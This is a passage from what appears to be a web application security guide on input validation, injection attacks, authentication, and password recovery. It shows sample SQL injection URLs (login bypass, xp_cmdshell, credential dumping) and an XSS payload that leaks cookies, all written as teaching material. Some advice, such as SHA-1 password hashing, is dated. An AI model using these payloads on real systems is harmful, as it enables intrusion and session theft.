A common problem is numeric id fields such as:

```
http://www.example.com/example.asp?newsId=32
```

that do not check whether the id field is a number. Rather than setting up elaborate checks for what is bad, a simple test of is this parameter a positive integer would protect the field.

To properly accept only known valid data, a validation strategy must check:

- Data type
- Min and Max lengths
- Required fields
- If there is an enumerated list of possible values, that the value is in that list
- If there is a specific format or mask, that the value conforms to that format
- That canonical forms are properly handled
- For free form fields, only accepted characters are allowed
- If any risky characters must be allowed, the value must be properly sanitized

The discussion above implies that each data input parameter must be checked in isolation. Indeed for attributes like type, length and whether the field is required or not the implication is valid. However, it would be a mistake to take this implication too far. When analyzing input data the system should not assume that a Prefix Connector, Payload and Suffix Connector all need to arrive in the same data parameter. In fact the prefix might arrive in one data parameter, the payload in another and the suffix in a third. The application may be concatenating the strings to consturct a query, to render HTML or to submit a file system request. Therefore, it is important that validation be done on the assumption that a character constituting a prefix is dangerous even if the suffix is not found or no possible payload is found within that same parameter.

Reject Known Bad Data

The rejecting bad data strategy relies on the application knowing about specific malicious payloads. While it is true that this strategy can limit exposure, it is very difficult for any application to maintain an up-to-date database of web application attack signatures.

Sanitize All Data

Attempting to make bad data harmless is certainly an effective second line of defense, especially when dealing with rejecting bad input. However, as described in the canonicalization section of this document, the task is extremely hard and should not be relied upon as a primary defense technique.

Sanitization usually relies on transforming the data into a representation, which does not pose a risk, but allows a normal user to interact with the application without being aware the security checks are present. Some examples of this include:

Table 9.5.

Change this . . .	. . . To this
'	'' (two single quotes)
<	&lt;
>	&gt;
&	&amp;
"	&quot;

Never Rely on Client-Side Data Validation

Client-side validation can always be bypassed. All data validation must be done on the trusted server or under control of the application. With any client-side processing an attacker can simply watch the return value and modify it at will. This seems surprisingly obvious, yet many sites still validate users, including login, using only client-side code such as JavaScript. Data validation on the client side, for purposes of ease of use or user friendliness, is acceptable, but should not be considered a true validation process. All validation should be on the server side, even if it is redundant to cursory validation performed on the client side.

Client-side validation includes more than just JavaScript. Some common client-side validation misconceptions include:

- the maxlength attribute will limit how much info a user can enter
- the readonly attribute will prevent a user from changing a value
- hidden form fields cannot be changed
- session cookies cannot be changed
- dropdown list or radio buttons limit choices
- all of the fields in the form will be supplied
- only the fields in the form will be supplied

If the client supplies the information it cannot be trusted. Since most quality assurance testing of web applications simply uses the user interface as the developers intended, many of these issues go unnoticed. These client-side checks are some of the easiest things an attacker has to work around.

Specific Vulnerabilities

This section discusses many of the common vulnerabilities that result from a failure to properly protect an application from data input vulnerabilities. These issues tend to be some of the most common and dangerous attacks found

in web applications. This section discusses these vulnerabilities in the context of the foundation built in this chapter on how these attacks work in general and how they should be protected against.

SQL Injection

Description

Well-designed applications insulate the users from business logic. Some applications however do not validate user input and allow malicious users to make direct database calls to the database. This attack, called direct SQL injection, is surprisingly simple.

Imagine a login screen to a web application. When the user enters his user ID and password in the web form, his browser is creating an HTTP request to the web application and sending the data. This should be done over SSL to protect the data in transit.

That typical request actually may look like this (A GET request is used here for demonstration. In practice this should be done using a POST):

```
http://www.victim.com/login?userID=asmith&password=Catch22
```

The application that receives this request takes the two sets of parameters supplied as input:

```
userID=asmith
password=Catch22
```

The application builds a database query that will check the user ID and password to authenticate the user. That database query may look like this:

```
SELECT * FROM usertable WHERE userID = '$INPUT[userID]' AND password = '$INPUT[password]
```

All works just fine until the attacker comes along and figures out he can modify the SQL command that actually gets processed and executed. Here he uses a user ID he does not have a password for and is not authorized to access. For instance:

```
http://www.victim.com/login?userID=admin'--&password=
```

The resulting SQL now appears like this:

```
SELECT * FROM usertable WHERE userID = 'admin'--
```

The consequences are devastating. The - comments out the rest of the SQL command causing the retrieval to ignore the value in the password field. The attacker has been able to bypass the administrative password and authenticate as the admin user. A badly designed web application means hackers are able to retrieve and place data in authoritative systems of record at will.

Direct SQL Injection can be use to:

- the maxlength attribute will limit how much info a user can enter

- change SQL values
- concatenate SQL statements
- add function calls and stored-procedures to a statement
- typecast and concatenate retrieved data

Some examples are shown below to demonstrate these techniques.

Changing SQL Values

```
UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';
```

Malicious HTTP request

```
http://www.victim.com/changePassword?pwd=ngomo&uid=1'+or+uid+like'%25admin%25';--
```

Concatenating SQL Statements

```
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';
```

Malicious HTTP request

```
http://www.victim.com/products?prod=0';insert+into+pg_shadow+(usename)+values+('hoschi')
```

Adding function calls and stored-procedures to a statement

```
SELECT id,name FROM products WHERE id LIKE '%$INPUT[prod]%';
```

Malicious HTTP request

```
http://www.victim.com/products?prod=0';EXEC+master..xp_cmdshell('dir');--
```

Typecast and concatenate retrieved data

```
SELECT id,title FROM newsTable WHERE category = $INPUT[catid];
```

Malicious HTTP request

```
http://www.victim.com/news?catID=0+UNION+SELECT+1,concat(userID||'-'||password)+FROM+use
```

Mitigation Techniques

If your input validation strategy is to only accept expected input then the problem is significantly reduced. However this approach is unlikely to stop all SQL injection attacks and can be difficult to implement if the input filtering algorithm has to decide whether the data is destined to become part of a query or not, and if it has to know which database such a query might be run against. For example, a user who enters the last name "O'Neil" into a form includes the special meta-character ('). This input must be allowed, since it is a legitimate part of a name, but it may need to be escaped if it becomes part of a database query. Different databases may require that the character be escaped differently, however, so it would also be important to know for which database the data must be sanitized. Fortunately, there is usually a very good solution to this problem.

The best way to protect a system against SQL injection attacks is to construct all queries with prepared statements and/or parameterized stored procedures. A prepared statement, or parameterized stored procedure, encapsulates variables and should escape special characters within them automatically and in a manner suited to the target database.

Common database API's offer developers two different means of writing a SQL query. For example, in JDBC, the standard Java API for relational database queries, one can write a query either using a PreparedStatement or as a simple String. The preferred method from both a performance and a security standpoint should be to use PreparedStatements.

With a PreparedStatement, the general query is written using a ? as a placeholder for a parameter value. Parameter values are substituted as a second step. The substitution should be done by the JDBC driver such that the value can only be interpreted as the value for the parameter intended and any special characters within it should be automatically escaped by the driver for the database it targets. Different databases escape characters in different ways, so allowing the JDBC driver to handle this function also makes the system more portable.

Common database interface layers in other languages offer similar protections. The Perl DBI module, for example, allows for prepared statements to be made in a way very similar to the JDBC PreparedStatement. Developers should test the behavior of prepared statements in their system early in the development cycle.

Parameterized stored procedures are a related technique that can also mitigate SQL Injection attacks and also have the benefit of executing faster in most cases. Most RDBMS systems offer a means of writing an embedded procedure that will execute a SQL statement using parameters provided during the procedure call. Typically these procedures are written in a proprietary Fourth Generation Language (4GL) such as PL/SQL for Oracle.

When stored procedures are used, the application calls the procedure passing parameters, rather than constructing the SQL query itself. Like PreparedStatements in JDBC, the stored procedure does the substitution in a manner that is safe for that database.

Use of prepared statements or stored procedures is not a panacea. The JDBC specification does NOT require a JDBC driver to properly escape special characters. Many commercial JDBC drivers will do this correctly, but some definitely do not. Developers should test their JDBC drivers with their target database. Fortunately it is often easy to switch from a bad driver to a good one. Writing stored procedures for all database access is often not practical and can greatly reduce application portability across different databases.

Because of these limitations and the lack of available analogues to these techniques in some application development platforms, proper input data validation is still strongly recommended. This includes proper canonicalization of data since a driver may only recognize the characters to be escaped in one of many encodings. Defense in depth implies that all available techniques should be used if possible. Careful consideration of a data validation technique for prevention of SQL Injection attacks is a critical security issue.

Wherever possible use the "only accept known good data" strategy and fall back to sanitizing the data for situations such as "O'Neil". In those cases, the application should filter special characters used in SQL statements. These characters can vary depending on the database used but often include "+", "-", "," "'" (single quote), "" (double quote), "_", "*", ";", "|", "?", "&" and "=".

Further Reading

Appendix C in this document contains source code samples for SQL Injection Mitigation.

http://www.nextgenss.com/papers/advanced_sql_injection.pdf

http://www.sqlsecurity.com/faq-inj.asp

http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf

http://www.nextgenss.com/papers/advanced_sql_injection.pdf

http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf

OS Command Injection

Description

Nearly every programming language allows the use of so called "system-commands", and many applications make use of this type of functionality. System-interfaces in programming and scripting languages pass input (commands) to the underlying operating system. The operating system executes the given input and returns its output to stdout along with various return-codes to the application such as successful, not successful etc.

System commands can be a very convenient feature, which with little effort can be integrated into a web-application. Common usage for these commands in web applications are file handling (remove,copy), sending emails and calling operating system tools to modify the applications input and output in various ways (filters).

Depending on the scripting or programming language and the operating-system it is possible to:

- Alter system commands
- Alter parameters passed to system commands
- Execute additional commands and OS command line tools.
- Execute additional commands within executed command

Some common techniques for calling system commands in various languages that should be carefully checked include:

PHP

- require()
- include()
- eval()
- preg_replace() (with /e modifier)
- exec()
- passthru()
- `` (backticks)
- system()
- popen()

Shell Scripts

- often problematic and dependent on the shell

Perl

- open()
- sysopen()
- glob()
- system()
- " (backticks)
- eval()

Java(Servlets, JSP's)

- System.* (especially System.Runtime)

C & C++

- system()
- exec**()
- strcpy
- strcat
- sprintf
- vsprintf
- gets
- strlen
- scanf
- fscanf
- sscanf
- vscanf
- vsscanf
- vfscanf
- realpath
- getopt
- getpass
- streadd
- strecpy
- strtrns

Mitigation Techniques

There are several techniques that can be used to mitigate the risk of passing malicious information to system commands. The best way is to carefully limit all information passed to system commands to only known values. If the options that can be passed to the system commands can be enumerated, that list can be checked and the system can ensure that no malicious information gets through.

When the options cannot be enumerated, the other option is to limit the size to the smallest allowable length and to carefully sanitize the input for characters, which could be used to launch the execution of other commands. Those characters will depend on the language used for the application, the specific technique of function being used, as well as the operating system the application runs on. As always, checks will also have to be made for special formatting issues such as Unicoded characters. The complexity of all of these checks should make it very clear why the "only accept known valid data" is the best and easiest approach to implement.

HTML Injection (Cross-site Scripting)

Description

HTML Injection, better known as Cross-site scripting, has received a great deal of press attention. The name originated from the CERT advisory, CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests [http://www.cert.org/advisories/CA-2000-02.html].

Although these attacks are most commonly known as "Cross-site Scripting" (abbreviated XSS), the name is somewhat misleading. The implication of the name "Cross-site Scripting" is that another site or external source must be involved in the attack. Posting links on an external site that inject malicious HTML tags on another site is one way that an HTML Injection attack can be executed, but is by no means the only way. The confusion caused by the implication that another site must be involved has led some developers to underestimate the vulnerabilities of their systems to the full range of HTML Injection attacks.

HTML Injection attacks are exploited on the user's system and not the system where the application resides. Of course if the user is an administrator of the system, that scenario can change. To explain the attack let's follow an example.

Imagine a system offering message board services where one user can post a message and other users can read it. Posted messages normally contain just text, but an attacker could post a message that contains HTML codes including embedded JavaScript. If the message are accepted without proper input filtering, then the embedded codes and scripts will be rendered in the broswers of those viewing the messages. What's more, they will execute in the security context of the user viewing the message, not the user posting the message.

In the above message-board example, imagine an attacker submits the following message.

```
"Hello, you are hacked. <script>alert(document.cookie)</script>"
```

When this message is rendered in the browser of a user who reads the post, it would display that user's cookie in an alert window. In this case, each user reading the message would see his own cookie, but simple extensions to the above script could deliver the cookies to the attacker. The following example would leave the victim's cookie in the web log of a site owned by the attacker. If that cookie reveals an active session id of another user or a system administrator it gives the attacker an easy means of masquerading as that user in the host system.

```
<script>document.write('<img src="http://targetsite.com/'+document.cookie+'")</script>
```

The "cross-site" version of the above attack would be to post a URL on another site that encoded similar malicious scripts. An attacker's website might offer a link that reads, "click here to purchase this book at Megabooks.com". Embedded into the link could be the same malicious codes as in the above example. If Megabooks.com returned the unfiltered payload to the victim's browser, the cookie of a Megabooks.com account member would be sent to the attacker.

In the above examples, the payload is a simple JavaScript command. Because modern client-side scripting languages now run beyond simple page formatting, a tremendous variety of dangerous payloads can be constructed. In addition many clients are poorly written and rarely patched. These clients may be tricked into executing an even greater number of dangerous functions.

There are four basic contexts for input within an HTML document. While the basic technique is the same, all of these contexts require different tests to be conducted to determine whether the application is vulnerable to this form of HTML injection.

- Tags - This is the most common usage of HTML Injection and involves inserting tags such as <SCRIPT>, <A> <IMG> or <IFRAME> into the HTML document. This context is used when the attack data is displayed as text in the HTML document.
- Events - An often-missed context is the use of scripting events, such as "onclick". This context is usually used when the payload is displayed to the user as an input field or as an attribute of another tag. A form element attribute such as "onclick" can encode the same type of malicious JavaScript commands, executed when a user clicks on the form element, for example: '" onclick="javascript:alert(123)'
- Indirect Scripting - Some web applications, such as message boards, allow limited HTML to be injected by the user. This is sometime done using an intermediate tag library, which is translated by the application into HTML before returning the page to the browser. For example, if: "[IMG]a.gif[/IMG]" generates the following HTML: "" then the technique could be exploited by an input such as this: '[IMG]nonsense.gif" onerror="alert(1)[/IMG]'
- Direct Scripting - Other web applications will occassionally generate scripting code on the fly and include data that originated from users in the script. An example would be this snippet of JavaScript code:

```
<SCRIPT>
function foo()
{
```

```
   document.myForm.myField.value = "user supplied data";
   document.myForm.submit();
}
</SCRIPT>
```

As the above examples show, there are many ways in which HTML Injection can be used. HTML Injection attacks are some of the easiest for attackers to uncover because of the immediate test-response cycles and because of the limited knowledge of the application structure required. Malicious attacks can come from internal users as well as outside users. Therefore, preventing HTML Injection attacks is absolutely essential, even for applications on an intranet or other secure system.

Mitigation Techniques

If the web server does not specify which character encoding is in use, the client cannot tell which characters are special. Web pages with unspecified character-encoding work most of the time because most character sets assign the same characters to byte values below 128. Determining which characters above 128 are considered special is somewhat difficult.

Web servers should set the character set, then make sure that the data they insert is free from byte sequences that are special in the specified encoding. This can typically be done by settings in the application server or web server. The server should define the character set in each html page as below.

```
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
```

The above tells the browser what character set should be used to properly display the page. In addition, most servers must also be configured to tell the browser what character set to use when submitting form data back to the server and what character set the server application should use internally. The configuration of each server for character set control is different, but is very important in understanding the canonicalization of input data. Control over this process also helps markedly with internationalization efforts.

Filtering special meta characters is also important. HTML defines certain characters as "special", if they have an effect on page formatting.

In an HTML body:

- "<" introduces a tag.
- "&" introduces a character entity.

Note : Some browsers try to correct poorly formatted HTML and treat ">" as if it were "<".

In attributes:

- double quotes mark the end of the attribute value.
- single quotes mark the end of the attribute value.
- "&" introduces a character entity.

In URLs:

- Space, tab, and new line denote the end of the URL.
- "&" denotes a character entity or separates query string parameters.
- Non-ASCII characters (that is, everything above 128 in the ISO-8859-1 encoding) are not allowed in URLs.
- The "%" must be filtered from input anywhere parameters encoded with HTTP escape sequences are decoded by server-side code.

Ensuring correct encoding of dynamic output can prevent malicious scripts from being passed to the user. While this is no guarantee of prevention, it can help contain the problem in certain circumstances. The application can make an explicit decision to encode untrusted data and leave trusted data untouched, thus preserving mark-up content.

Encoding untrusted data can introduce additional problems however. Encoding a "<" in an untrusted stream means converting it to "<". This conversion makes the string longer, so any length checking of the input should be done only after canonicalization and sanitization of the data.

Further Reading

Appendix B in this document contains source code samples for Data Validation.

http://www.cert.org/tech_tips/malicious_code_mitigation.html

Path Traversal

Description

Many web applications utilize the file system of the web server in a presentation tier to temporarily and/or permanently save information or load template or configuration files. The WWW-ROOT directory is typically the virtual root directory within a web server, which is accessible to a HTTP Client. Web Applications may store data inside and/or outside WWW-ROOT in designated locations.

If the application does NOT properly check and handle meta-characters used to describe paths, for example "../", it is possible that the application is vulnerable to a "Path Traversal" attack. The attacker can construct a malicious request to return files such as /etc/passwd. This is often referred to as a "file disclosure" vulnerability.

Traversing back to system directories that contain binaries makes it possible to execute system commands OUTSIDE designated paths instead of simply opening, including or evaluating file.

Mitigation Techniques

Where possible make use of path normalization functions provided by your development language. Also remove offending path strings such as "../" as well as their Unicode variants from system input. Use of "chrooted" servers can also mitigate this issue.

Above all else by only accepting expected input, the problem is significantly reduced. We cannot stress that this is the correct strategy enough!

Buffer Overflow

Description

Attackers use buffer overflows to corrupt the execution stack of a web application. By sending carefully crafted input to a web application, an attacker can cause the web application to execute arbitrary code - effectively taking over the machine. Buffer overflows are not easy to discover and even when one is discovered, it is generally extremely difficult to exploit. Nevertheless, attackers have managed to identify buffer overflows in a staggering array products and components. Another very similar class of flaws is known as format string attacks.

Buffer overflow flaws can be present in both the web server or application server products that serve the static and dynamic aspects of the site, or the web application itself. Buffer overflows found in widely used server products are likely to become widely known and can pose a significant risk to users of these products. When web applications use libraries, such as a graphics library to generate images, they open themselves to potential buffer overflow attacks.

Buffer overflows can also be found in custom web application code, and may even be more likely given the lack of

scrutiny that web applications typically go through. Buffer overflow flaws in custom web applications are less likely to be detected because there will normally be far fewer hackers trying to find and exploit such flaws in a specific application. If discovered in a custom application, the ability to exploit the flaw (other than to crash the application) is significantly reduced by the fact that the source code and detailed error messages for the application may not be available to the hacker.

Almost all known web servers, application servers and web application environments are susceptible to buffer overflows, the notable exception being Java and J2EE environments, which are immune to these attacks (except for overflows in the JVM itself).

Aleph One, "Smashing the Stack for fun and profit", http://www.phrack.com/show.php?p+49&a+14

Mark Donaldson, "Inside the buffer Overflow Attack: Mechanism, method, & Prevention," http://rr.sans.org/code/inside_buffer.php

Mitigation Techniques

Keep up with the latest bug reports for your web and application server products and other products in your Internet infrastructure. Apply the latest patches to these products. Periodically scan your website with one or more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications.

For your custom application code, you need to review all code that accepts input from users via the HTTP request and ensure that it provides appropriate size checking on all such inputs. This should be done even for environments that are not susceptible to such attacks as overly large inputs that are uncaught may still cause denial of service or other operational problems.

Summary

This chapter covered the application security issues dealing with the failure to properly validate data input:

- Input Sources - The various sources of input that an application needs to protect.
- Input Formats - The formatting and encoding schemes that an application needs to be aware of.
- Concept of Injection - The core concept of how injection attacks work.

Chapter 10. Authentication

Gene McKenna
Charles Miller

What is Authentication?

Authentication is the process of determining if a user or entity is who he/she claims to be. This can be done with different methods discussed later on.

In a web application it is easy to confuse authentication and session management (dealt with in a later section). Users are typically authenticated by a username and password or similar mechanism. When authenticated, a session token is usually placed into the user's browser (stored in a cookie or an URL). This allows the browser to send a token each time a request is being made, thus performing entity authentication on the browser. The act of user authentication usually takes place only once per session, but entity authentication takes place with every request.

Types of Authentication

As mentioned there are principally two types of authentication and it is worth understanding the two types and determining which you really need to be doing.

User Authentication is the process of determining that a user is who he/she claims to be.

Entity authentication is the process of determining if an entity is who it claims to be.

Imagine a scenario where an Internet bank authenticates a user initially (user authentication) and then manages sessions with session cookies (entity authentication). If the user now wishes to transfer a large sum of money to another account 2 hours after logging on, it may be reasonable to expect the system to re-authenticate the user!

Browser Limitations

When reading the following sections on the possible means of providing authentication mechanisms, it should be firmly in the mind of the reader that ALL data sent to clients over public links should be considered "tainted" and all input should be rigorously checked. SSL will not solve problems of authentication nor will it protect data once it has reached the client. Consider all input hostile until proven otherwise and code accordingly.

HTTP Basic

There are several ways to do user authentication over HTTP. The simplest is referred to as HTTP Basic authentication. When a request is made to a URI, the web server returns a HTTP 401 unauthorized status code to the client:

HTTP/1.1 401 Authorization Required

This tells the client to supply a username and password. Included in the 401 status code is the authentication header. The client requests the username and password from the user, typically in a dialog box. The client browser concatenates the username and password using a ":" separator and base 64 encodes the string. A second request is then made for the same resource including the encoded username password string in the authorization headers.

HTTP authentication has a problem in that there is no mechanism available to the server to cause the browser to 'logout'; that is, to discard its stored credentials for the user. This presents a problem for any web application that may be used from a shared user agent.

The username and password of course travel in effective clear-text in this process and the system designers need to

provide transport security to protect it in transit. SSL or TLS are the most common ways of providing confidentiality and integrity in transit for web applications.

HTTP Digest

There are two forms of HTTP Digest authentication that were designed to prevent the problem of username and password being interceptable. The original digest specification was developed as an extension to HTTP 1.0, with an improved scheme defined for HTTP 1.1. Given that the original digest scheme can work over HTTP 1.0 and HTTP 1.1 we will describe both for completeness. The purpose of digest authentication schemes is to allow users to prove they know a password without disclosing the actual password. The Digest Authentication Mechanism was originally developed to provide a general use, simple implementation, authentication mechanism that could be used over unencrypted channels.

As can be seen by the figure above, an important part of ensuring security is the addition of the data sent by the server when setting up digest authentication. If no unique data were supplied for request, an attacker would simply be able to replay the digest or hash.

The authentication process begins with a 401 Unauthorized response as with basic authentication. An additional header WWW-Authenticate header is added that explicitly requests digest authentication. A nonce is generated (the data) and the digest computed. The actual calculation is as follows:

1. String "A1" consists of username, realm, password concatenated with colons.

   owasp:users@owasp.org:password
2. Calculate MD5 hash of this string and represent the 128 bit output in hex
3. String "A2" consists of method and URI

   GET:/guide/index.shtml
4. Calculate MD5 of "A2" and represent output in ASCII.
5. Concatenate A1 with nonce and A2 using colons
6. Compute MD5 of this string and represent it in ASCII

This is the final digest value sent.

As mentioned HTTP 1.1 specified an improved digest scheme that has additional protection for

- Replay attacks
- Mutual authentication
- Integrity protection

The digest scheme in HTTP 1.0 is susceptible to replay attacks. This occurs because an attacker can replay the correctly calculated digest for the same resource. In effect the attacker sends the same request to the server. The improved digest scheme of HTTP 1.1 includes a NC parameter or a nonce count into the authorization header. This eight digit number represented in hex increments each time the client makes a request with the same nonce. The server must check to ensure the nc is greater than the last nc value it received and thus not honor replayed requests.

Other significant improvements of the HTTP 1.1 scheme are mutual authentication, enabling clients to also authenticate servers as well as allowing servers to authenticate clients and integrity protection.

Forms Based Authentication

Rather than relying on authentication at the protocol level, web based applications can use code embedded in the web pages themselves. Specifically, developers have previously used HTML FORMs to request the authentication credentials (this is supported by the TYPE=PASSWORD input element). This allows a designer to present the request for credentials (Username and Password) as a normal part of the application and with all the HTML capabilities for internationalization and accessibility.

While dealt with in more detail in a later section it is essential that authentication forms are submitted using a POST request. GET requests show up in the user's browser history and therefore the username and password may be visible to other users of the same browser.

Of course schemes using forms-based authentication need to implement their own protection against the classic protocol attacks described here and build suitable secure storage of the encrypted password repository.

A common scheme with Web applications is to prefill form fields for users whenever possible. A user returning to an application may wish to confirm his profile information, for example. Most applications will prefill a form with the current information and then simply require the user to alter the data where it is inaccurate. Password fields, however, should never be prefilled for a user. The best approach is to have a blank password field asking the user to confirm his current password and then two password fields to enter and confirm a new password. Most often, the ability to change a password should be on a page separate from that for changing other profile information.

This approach offers two advantages. Users may carelessly leave a prefilled form on their screen allowing someone with physical access to see the password by viewing the source of the page. Also, should the application allow (through some other security failure) another user to see a page with a prefilled password for an account other than his own, a "View Source" would again reveal the password in plain text. Security in depth means protecting a page as best you can, assuming other protections will fail.

Note: Forms based authentication requires the system designers to create an authentication protocol taking into account the same problems that HTTP Digest authentication was created to deal with. Specifically, the designer should remember that forms submitted using GET or POST will send the username and password in effective clear-text, unless SSL is used.

Digital Certificates (SSL and TLS)

Both SSL and TLS can provide client, server and mutual entity authentication. Detailed descriptions of the mechanisms can be found in the SSL and TLS sections of this document. Digital certificates are a mechanism to authenticate the providing system and also provide a mechanism for distributing public keys for use in cryptographic exchanges (including user authentication if necessary). Various certificate formats are in use. By far the most widely accepted is the International Telecommunication Union's X509 v3 certificate (refer to RFC 2459). Another common cryptographic messaging protocol is PGP. Although parts of the commercial PGP product (no longer available from Network Associates) are proprietary, the OpenPGP Alliance (http://www.openPGP.org) represents groups who implement the OpenPGP standard (refer to RFC 2440).

The most common usage for digital certificates on web systems is for entity authentication when attempting to connect to a secure web site (SSL). Most web sites work purely on the premise of server side authentication even though client side authentication is available. This is due to the scarcity of client side certificates and in the current web deployment model this relies on users to obtain their own personal certificates from a trusted vendor; and this hasn't really happened on any kind of large scale.

For high security systems, client side authentication is a must and as such a certificate issuance scheme (PKI) might need to be deployed. Further, if individual user level authentication is required, then 2-factor authentication will be necessary.

There is a range of issues concerned with the use of digital certificates that should be addressed:

- Where is the root of trust? That is, at some point the digital certificate must be signed; who is trusted to sign the certificate? Commercial organizations provide such a service identifying degrees of rigor in identification of the providing parties, permissible trust and liability accepted by the third party. For many uses this may be acceptable, but for high-risk systems it may be necessary to define an in-house Public Key Infrastructure.
- Certificate management: who can generate the key pairs and send them to the signing authority?
- What is the Naming convention for the distinguished name tied to the certificate?
- What is the revocation/suspension process?
- What is the key recovery infrastructure process?

Many other issues in the use of certificates must be addressed, but the architecture of a PKI is beyond the scope of this document.

Entity Authentication

Using Cookies

Cookies are often used to authenticate the user's browser as part of session management mechanisms. This is discussed in detail in the session management section of this document.

A Note About the Referer

The referer [sic] header is sent with a client request to show where the client obtained the URI. On the face of it, this may appear to be a convenient way to determine that a user has followed a path through an application or been referred from a trusted domain. However, the referer is implemented by the user's browser and is therefore chosen by the user. Referers can be changed at will and therefore should never be used for authentication purposes.

Do not even rely on getting something in the referer field at all. There are clients and proxies out there which delete this field on default.

Infrastructure Authentication

DNS Names

There are many times when applications need to authenticate other hosts or applications. IP addresses or DNS names may appear like a convenient way to do this. However the inherent insecurities of DNS mean that this should be used as a cursory check only, and as a last resort.

IP Address Spoofing

IP address spoofing is also possible in certain circumstances and the designer may wish to consider the appropriateness. In general use gethostbyaddr() as opposed to gethostbyname(). For stronger authentication you may consider using X.509 certificates or implementing SSL.

Password Based Authentication Systems

Usernames and passwords are the most common form of authentication in use today. Despite the improved mechanisms over which authentication information can be carried (like HTTP Digest and client side certificates), most systems usually require a password as the token against which initial authorization is performed. Due to the conflicting goals that good password maintenance schemes must meet, passwords are often the weakest link in an authentication architecture. More often than not, this is due to human and policy factors and can be only partially addressed by technical remedies. Some best practices are outlined here, as well as risks and benefits for each countermeasure. As always, those implementing authentication systems should measure risks and benefits against an appropriate threat model and protection target.

Usernames

While usernames have few requirements for security, a system implementor may wish to place some basic restriction on the username. Usernames that are derivations of a real name or actual real names can clearly give personal detail clues to an attacker. Other usernames like social security numbers or tax ID's may have legal implications. Email addresses are not good usernames for the reason stated in the Password Lockout section.

Storing Usernames and Passwords

In all password schemes the system must maintain storage of usernames and corresponding passwords to be used in the authentication process. This is still true for web applications that use the built in data store of operating systems like Windows NT. This store should be secure. By secure we mean the passwords should be stored in such a way that the application can compute and compare passwords presented to it as part of an authentication scheme, but the database should not be able to be used or read by administrative users or by an adversary who manages to compromise the system. Hashing the passwords with a simple hash algorithm like SHA-1 is a commonly used technique.

Ensuring Password Quality

Password quality refers to the entropy of a password and is clearly essential to ensure the security of the users' accounts. A password of "password" is obviously a bad thing. A good password is one that is impossible to guess. That typically is a password of at least 8 characters, one alphanumeric, one mixed case and at least one special character (not A-Z or 0-9). In web applications special care needs to be taken with meta-characters.

Password Lockout

If an attacker is able to guess passwords without the account becoming disabled, then eventually he will probably be able to guess at least one password. Automating password checking across the web is very simple! Password lockout mechanisms should be employed that lock out an account if more than a preset number of unsuccessful login attempts are made. A suitable number would be five.

Password lockout mechanisms do have a drawback, however. It is conceivable that an adversary can try a large number of random passwords on known account names, thus locking out entire systems of users. Given that the intent of a password lockout system is to protect from brute-force attacks, a sensible strategy is to lockout accounts for a number of hours. This significantly slows down attackers, while allowing the accounts to be open for legitimate users.

Password Aging and Password History

Rotating passwords is generally good practice. This gives valid passwords a limited life cycle. Of course, if a compromised account is asked to refresh its password then there is no advantage.

Automated Password Reset Systems

Automated password reset systems are common. They allow users to reset their own passwords without the latency of calling a support organization. They clearly pose some security risks in that a password needs to be issued to a user who cannot authenticate himself.

There are several strategies for doing this. One is to ask a set of questions during registration that can be asked of someone claiming to be a specific user. These questions should be free form, i.e., the application should allow the user to choose his own question and the corresponding answer rather than selecting from a set of predetermined questions. This typically generates significantly more entropy.

Care should be taken to never render the questions and answers in the same session for confirmation; i.e., during registration either the question or answer may be echoed back to the client, but never both.

If a system utilizes a registered email address to distribute new passwords, the password should be set to change the first time the new user logs on with the changed password.

It is usually good practice to confirm all password management changes to the registered email address. While email is inherently insecure and this is certainly no guarantee of notification, it is significantly harder for an adversary to be able to intercept the email consistently.

Password Recovery

Password recovery becomes necessary when the user of a system is no longer able to authenticate themselves be-

cause they have lost or forgotten their password. Any systems that require authentication will need to have some policy or procedure for password recovery.

General Advice

Good Practices

When recovering a password, always assign, or require the user to choose a new password. You shouldn't be storing unhashed passwords anywhere anyway. If the recovery procedure is compromised, the real user will be unable to log in. This makes it easier to detect fraud. (obviously) Log all recovery attempts Only allow recovery once within a particular time-period (three months) Subsequent recovery attempts will result in a direction to call customer service, where a rep will manually perform the recovery procedure. When the user calls, the rep can guarantee that the previous recovery attempt was genuine. It's an opportunity to educate the user.

Things to Consider

Is the process automated, or does it require human intervention? If the process requires human contact, are you ready to deal with users from other countries, or who do not speak the same language as you? To what degree can you inconvenience your users before they decide not to bother? Is it a problem if they do? What steps can you take to make sure the users don't forget their passwords in the first place?

Specific Techniques

In Person Identification

Obviously, the best thing to do is to have the user physically present themselves to you with 100 points worth of photographic identification. This is a form of secondaryauthentication recovery, and is very secure. Like all optimal solutions, this is generally impossible in a web environment, and is a particular inconvenience to users. That said, if you need security, and you have the luxury of physical offices near the vast majority of your customers (I'm thinking of banks and government departments here), this is worth thinking about.

Advantages

Best, legally defensible security. In case of fraud, you might remember what they look like

Disadvantages

Requires human intervention in all cases. Requires the user to take time out (during business hours) to recover their password. May be difficult or impossible for the user dependent on their distance from your offices.

Faxed Documentation

Another form of secondary authentication, the user does not present themselves, but transmits a facsimile of some kind of official identification such as a passport or drivers license. This is a quite common technique, but may not be as reliable as it seems.

Good Practices

Keep a copy of the identification on file from signup-time, to be compared in the event of recovery. ID documents look different from state to state and country to country. Unless you have some idea what it should look like, you can easily be fooled by a competent graphic artist.

Advantages

So long as the identification is on file, this is reasonably secure, as an attacker must be a competent forger, and know the correct serial numbers for the documents. If not, this is easily defeated by a committed attacker.

Disadvantages

If the identification papers are on file with you, they may be on file with many other companies. Similarly, if the user is willing to fax you their passport for identification purposes, they may be socially engineered into sending the same documentation to an attacker. Requires human intervention in all cases. User must have access to a fax machine. User must be willing to store their documentation with you (the user may quite justifiably fear identity theft if your records are compromised or misused) Digital forgery is possible, and is masked by the poor quality of fax transmissions. Identity documents are replaced or renewed, so some secure mechanism for replacing the filed ID is necessary. Does not cover how to get the new password to the user after they've identified themselves over the fax.

Simple Email recovery

E-mailing the password to the user's registered address is the most common form of recovery on public websites. It is a weak form of "secure channel" recovery, where it is assumed the path between the server and the user's email client is secure. Of course, this assumption isn't particularly defensible, but the process requires almost no human intervention, and is "secure enough" for most applications.

Good practices

Send the user a one-time password, based on the user's password hash and a timestamp. That way, the recovery password can only be used until the main password is changed, and can be expired if not used for 24 hours. The email does not become a security problem if it's archived.

Advantages

